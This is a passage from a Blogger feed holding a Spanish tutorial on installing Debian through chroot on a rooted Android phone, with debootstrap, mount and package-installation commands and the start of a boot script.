url='http://3.bp.blogspot.com/-QWQEIHu21xI/TpGaA8GUTmI/AAAAAAAAABY/IQEySCdWJ9A/s72-c/molecules_ars-thumb-640xauto-21958.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-3212192831898918071</id><published>2011-10-05T08:41:00.028+02:00</published><updated>2012-01-25T14:20:46.219+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Debian mediante chroot en Android</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-mVjyYaEk_Xw/To8ShvJ2OxI/AAAAAAAAABQ/U40rNcQaBD4/s1600/maquette_tux_linux_logo_inside_ico.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 152px; height: 179px;" src="http://2.bp.blogspot.com/-mVjyYaEk_Xw/To8ShvJ2OxI/AAAAAAAAABQ/U40rNcQaBD4/s320/maquette_tux_linux_logo_inside_ico.jpg" alt="" id="BLOGGER_PHOTO_ID_5660763627430755090" border="0" /&gt;&lt;/a&gt;Llevo tiempo sin escribir ningún artículo pero os aseguro que la espera ha valido la pena.&lt;br /&gt;&lt;div&gt;&lt;p&gt;En esta ocasión vamos a instalar nuestra &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;distro&lt;/span&gt; preferida en nuestro teléfono móvil, lo haremos mediante la técnica de "&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;chrooting&lt;/span&gt;", de este modo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;conservaremos&lt;/span&gt; nuestro &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;Android&lt;/span&gt; intacto y solo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;arrancaremos&lt;/span&gt; la Debian cuando lo deseemos.&lt;br /&gt;Bueno dicho lo dicho empezamos:&lt;/p&gt;&lt;p&gt;Tendremos que ganar acceso &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;root&lt;/span&gt; en nuestro terminal, este paso es diferente para cada móvil, para el mío(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;LG&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;Optimus&lt;/span&gt; 2X) se puede hacer siguiendo &lt;a href="http://laguaridadelmal.blogspot.com/2011/12/rootear-lg-optimus2x-desde-linux.html"&gt;este&lt;/a&gt; procedimiento.&lt;/p&gt;&lt;p&gt;Instalaremos un servidor &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;ssh&lt;/span&gt; para acceder a nuestro &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;Android&lt;/span&gt; de forma remota, el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;sshdroid&lt;/span&gt; funciona muy bien y además podremos encontrarlo de forma gratuita en el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;market&lt;/span&gt;.&lt;/p&gt;&lt;p&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;Necesitaremos&lt;/span&gt; saber el esquema de particiones que tenemos en &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;Android&lt;/span&gt;, para ello conectamos por &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;ssh&lt;/span&gt; al móvil y empleamos el comando &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;mount&lt;/span&gt;, buscamos la línea que corresponde con el punto de montaje /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;system&lt;/span&gt;:&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:85%;"&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;dev&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;block&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;mmcblk&lt;/span&gt;0p1 &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;on&lt;/span&gt; /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;system&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;type&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;ext&lt;/span&gt;4 (ro,&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;noatime&lt;/span&gt;,&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;errors&lt;/span&gt;=&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;continue&lt;/span&gt;,&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;barrier&lt;/span&gt;=1,data=&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;ordered&lt;/span&gt;)&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;El dato que debemos anotar es: &lt;span style="font-size:85%;"&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"&gt;dev&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;block&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_35"&gt;mmcblk&lt;/span&gt;0p1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ahora instalamos en la Debian de nuestra computadora un software llamado &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;debootstrap&lt;/span&gt; y generamos el fichero de la Debian del &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;chroot&lt;/span&gt;, este fichero puede tener el tamaño que deseemos, pero en mi caso como quiero poder almacenarlo en la tarjeta &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;MicroSD&lt;/span&gt;(&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;VFAT&lt;/span&gt;) será de 4&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_40"&gt;Gb&lt;/span&gt;(el máximo tamaño en &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_41"&gt;VFAT&lt;/span&gt;):&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_42"&gt;apt&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_43"&gt;get&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_44"&gt;install&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_45"&gt;debootstrap&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_46"&gt;dd&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_47"&gt;if&lt;/span&gt;=/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_48"&gt;dev&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_49"&gt;zero&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_50"&gt;of&lt;/span&gt;=&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_51"&gt;debian&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_52"&gt;img&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_53"&gt;bs&lt;/span&gt;=1024 &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_54"&gt;count&lt;/span&gt;=3955078&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_55"&gt;mke&lt;/span&gt;2&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_56"&gt;fs&lt;/span&gt; -F &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_57"&gt;debian&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_58"&gt;img&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_59"&gt;mkdir&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_60"&gt;debian&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_61"&gt;mount&lt;/span&gt; -o &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_62"&gt;loop&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_63"&gt;debian&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_64"&gt;img&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_65"&gt;debian&lt;/span&gt;/&lt;br /&gt;&lt;span style="font-family:arial;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_66"&gt;debootstrap&lt;/span&gt; --&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_67"&gt;verbose&lt;/span&gt; --&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_68"&gt;arch&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_69"&gt;armel&lt;/span&gt; --&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_70"&gt;foreign&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_71"&gt;squeeze&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_72"&gt;debian&lt;/span&gt; http://ftp.us.debian.org/debian&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_73"&gt;umount&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_74"&gt;debian&lt;/span&gt;/&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_75"&gt;rm&lt;/span&gt; -r &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_76"&gt;debian&lt;/span&gt;/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Con esto ya tenemos un fichero llamado &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_77"&gt;debian&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_78"&gt;img&lt;/span&gt; con un sistema Debian mínimo, lo copiamos a la tarjeta &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_79"&gt;MicroSD&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Para poder montar la imagen debemos poder escribir en la partición /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_80"&gt;system&lt;/span&gt;, por defecto se monta con permisos de solo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_81"&gt;eslectura&lt;/span&gt;, así que accedemos al móvil por &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_82"&gt;ssh&lt;/span&gt; y ejecutamos:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_83"&gt;mount&lt;/span&gt; -o &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_84"&gt;remount&lt;/span&gt;,&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_85"&gt;rw&lt;/span&gt; -t &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_86"&gt;ext&lt;/span&gt;4 /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_87"&gt;dev&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_88"&gt;block&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_89"&gt;mmcblk&lt;/span&gt;0p1 /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_90"&gt;system&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Montamos la imagen de Debian en /data/local/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_91"&gt;debian&lt;/span&gt;:&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_92"&gt;mkdir&lt;/span&gt; &lt;span style="font-size:85%;"&gt;/data/local/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_93"&gt;debian&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_94"&gt;mount&lt;/span&gt; -t &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_95"&gt;ext&lt;/span&gt;2 -o &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_96"&gt;rw&lt;/span&gt;,&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_97"&gt;noatime&lt;/span&gt;,&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_98"&gt;nodiratime&lt;/span&gt;,&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_99"&gt;loop&lt;/span&gt; /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_100"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_101"&gt;sdcard&lt;/span&gt;/_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_102"&gt;ExternalSD&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_103"&gt;debian&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_104"&gt;img&lt;/span&gt; /data/local/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_105"&gt;debian&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Vinculamos &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_106"&gt;proc&lt;/span&gt; y &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_107"&gt;sysfs&lt;/span&gt; al entorno &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_108"&gt;chroot&lt;/span&gt;:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_109"&gt;mount&lt;/span&gt; -t &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_110"&gt;proc&lt;/span&gt; /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_111"&gt;proc&lt;/span&gt; /data/local/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_112"&gt;debian&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_113"&gt;proc&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_114"&gt;mount&lt;/span&gt; -t &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_115"&gt;sysfs&lt;/span&gt; /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_116"&gt;sysfs&lt;/span&gt; /data/local/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_117"&gt;debian&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_118"&gt;sys&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Habilitamos el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_119"&gt;enrutado&lt;/span&gt;:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_120"&gt;sysctl&lt;/span&gt; -w net.ipv4.ip_forward=1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Definimos &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_121"&gt;DNS&lt;/span&gt; y /etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_122"&gt;hosts&lt;/span&gt; en el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_123"&gt;chroot&lt;/span&gt;:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;echo "&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_124"&gt;nameserver&lt;/span&gt; 8.8.8.8" &amp;gt; /data/local/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_126"&gt;debian&lt;/span&gt;/etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_127"&gt;resolv&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_128"&gt;conf&lt;/span&gt;&lt;br /&gt;echo "&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_129"&gt;nameserver&lt;/span&gt; 8.8.4.4" &amp;gt;&amp;gt; /data/local/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_132"&gt;debian&lt;/span&gt;/etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_133"&gt;resolv&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_134"&gt;conf&lt;/span&gt;&lt;br /&gt;echo "127.0.0.1 &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_135"&gt;localhost&lt;/span&gt;" &amp;gt; /data/local/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_137"&gt;debian&lt;/span&gt;/etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_138"&gt;hosts&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Montamos las Tarjetas &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_139"&gt;SD&lt;/span&gt;(tanto interna del móvil como la &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_140"&gt;MicroSD&lt;/span&gt;):&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_141"&gt;mkdir&lt;/span&gt; /data/local/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_142"&gt;debian&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_143"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_144"&gt;sdcard&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_145"&gt;mkdir&lt;/span&gt; /data/local/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_146"&gt;debian&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_147"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_148"&gt;sdcard&lt;/span&gt;/_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_149"&gt;ExternalSD&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_150"&gt;mount&lt;/span&gt; --&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_151"&gt;bind&lt;/span&gt; /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_152"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_153"&gt;sdcard&lt;/span&gt;/ /data/local/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_154"&gt;debian&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_155"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_156"&gt;sdcard&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_157"&gt;mount&lt;/span&gt; --&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_158"&gt;bind&lt;/span&gt; /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_159"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_160"&gt;sdcard&lt;/span&gt;/_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_161"&gt;ExternalSD&lt;/span&gt; /data/local/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_162"&gt;debian&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_163"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_164"&gt;sdcard&lt;/span&gt;/_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_165"&gt;ExternalSD&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Accedemos al entorno &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_166"&gt;chroot&lt;/span&gt;:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_167"&gt;chroot&lt;/span&gt; /data/local/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_168"&gt;debian&lt;/span&gt; /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_169"&gt;bin&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_170"&gt;bash&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Terminamos la instalación e instalamos software interesante:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_171"&gt;debootstrap&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_172"&gt;debootstrap&lt;/span&gt; --&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_173"&gt;second&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_174"&gt;stage&lt;/span&gt;&lt;br /&gt;echo '&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_175"&gt;deb&lt;/span&gt; http://ftp.us.debian.org/debian &lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_176"&gt;squeeze&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_177"&gt;main&lt;/span&gt;' &amp;gt; /etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_179"&gt;apt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_180"&gt;sources&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_181"&gt;list&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_182"&gt;apt&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_183"&gt;get&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_184"&gt;install&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_185"&gt;lxde&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_186"&gt;tightvncserver&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_187"&gt;ettercap&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_188"&gt;gtk&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_189"&gt;nmap&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_190"&gt;vim&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_191"&gt;netcat&lt;br /&gt;&lt;br /&gt;Nos pedirá la configuración de teclado.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_192"&gt;apt&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_193"&gt;get&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_194"&gt;autoclean&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_195"&gt;apt&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_196"&gt;get&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_197"&gt;update&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Salimos del &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_198"&gt;chroot&lt;/span&gt;:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_199"&gt;exit&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Desmontamos el chiringuito:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_200"&gt;umount&lt;/span&gt; /data/local/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_201"&gt;debian&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_202"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_203"&gt;sdcard&lt;/span&gt;/_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_204"&gt;ExternalSD&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_205"&gt;umount&lt;/span&gt; /data/local/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_206"&gt;debian&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_207"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_208"&gt;sdcard&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_209"&gt;umount&lt;/span&gt; /data/local/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_210"&gt;debian&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ya está ya tenemos una Debian &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_211"&gt;chrooteada&lt;/span&gt;, así de fácil, cada vez que queramos acceder a ella tendremos que realizar el proceso de montaje de la imagen, vinculación de /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_212"&gt;proc&lt;/span&gt; /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_213"&gt;sysfs&lt;/span&gt;,......&lt;br /&gt;&lt;br /&gt;Para automatizar esto he escrito un &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_214"&gt;script&lt;/span&gt; que lo hace por nosotros.&lt;br /&gt;cd &lt;span style="font-size:85%;"&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_461"&gt;system&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_462"&gt;xbin&lt;/span&gt;/&lt;/span&gt;&lt;br /&gt;vi &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_215"&gt;bootdebian&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_216"&gt;sh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_217"&gt;clear&lt;/span&gt;&lt;br /&gt;echo " "&lt;br /&gt;echo " "&lt;br /&gt;echo " "&lt;br /&gt;echo +---------------------------------------+&lt;br /&gt;echo "||||       &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_218"&gt;CyberDyne&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_219"&gt;Systems&lt;/span&gt;        ||||"&lt;br /&gt;echo +---------------------------------------+&lt;br /&gt;echo " "&lt;br /&gt;echo " "&lt;br /&gt;echo " "&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;echo "Montando /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_220"&gt;system&lt;/span&gt; como R/W"&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_221"&gt;mount&lt;/span&gt; -o &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_222"&gt;remount&lt;/span&gt;,&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_223"&gt;rw&lt;/span&gt; -t &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_224"&gt;ext&lt;/span&gt;4 /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_225"&gt;dev&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_226"&gt;block&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_227"&gt;mmcblk&lt;/span&gt;0p1 /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_228"&gt;system&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;echo ----------------------------------------&lt;br /&gt;echo "Definiendo variables"&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_229"&gt;export&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_230"&gt;bin&lt;/span&gt;=/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_231"&gt;system&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_232"&gt;bin&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_233"&gt;export&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_234"&gt;img&lt;/span&gt;=/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_235"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_236"&gt;sdcard&lt;/span&gt;/_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_237"&gt;ExternalSD&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_238"&gt;debian&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_239"&gt;img&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_240"&gt;export&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_241"&gt;mnt&lt;/span&gt;=/data/local/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_242"&gt;debian&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" 